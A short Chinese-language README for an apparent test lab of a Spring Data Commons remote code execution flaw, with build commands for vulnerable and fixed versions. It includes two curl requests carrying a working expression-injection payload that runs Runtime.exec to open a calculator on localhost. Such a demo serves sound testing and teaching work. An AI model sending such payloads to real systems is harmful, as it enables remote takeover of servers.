Spring Data Commons 版本 1.13 至 1.13.10、2.0 至 2.0.5 及更早的不受支持版本中存在一个属性绑定漏洞,原因是未能正确中和特殊元素。未经身份验证的远程恶意用户(或攻击者)可以针对基于 Spring Data REST 的 HTTP 资源提供精心构造的请求参数,或使用 Spring Data 基于投影的请求负载绑定,从而导致远程代码执行攻击。
更多信息请参见此处
该应用程序可以使用易受攻击版本或已修复版本的 Spring Data Commons 进行测试。
mvn spring-boot:run
mvn spring-boot:run -Dfixed
运行以下命令检查漏洞是否可被利用:
curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('calc.exe')]=123"
curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('/Applications/Calculator.app/Contents/MacOS/Calculator')]=test"
由 https://www.arima.eu 创建
